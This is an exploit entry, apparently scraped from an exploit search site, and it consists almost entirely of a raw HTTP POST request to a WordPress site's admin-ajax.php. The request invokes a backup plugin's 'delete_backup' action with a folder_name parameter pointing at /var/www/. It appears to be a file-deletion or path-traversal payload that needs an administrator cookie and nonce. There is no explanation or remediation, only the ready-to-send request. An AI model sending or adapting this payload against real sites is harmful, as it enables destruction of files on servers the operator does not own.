Share
## https://sploitus.com/exploit?id=WPEX-ID:3C457CE0-8737-4A6A-9580-B00CD3DC2136
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 128
Connection: close
Cookie: [admin+]
action=barfw_backup_ajax_redirect&call_type=delete_backup&file_name=something.txt&folder_name=%2Fvar%2Fwww%2F&id=2&nonce=b3a6a41699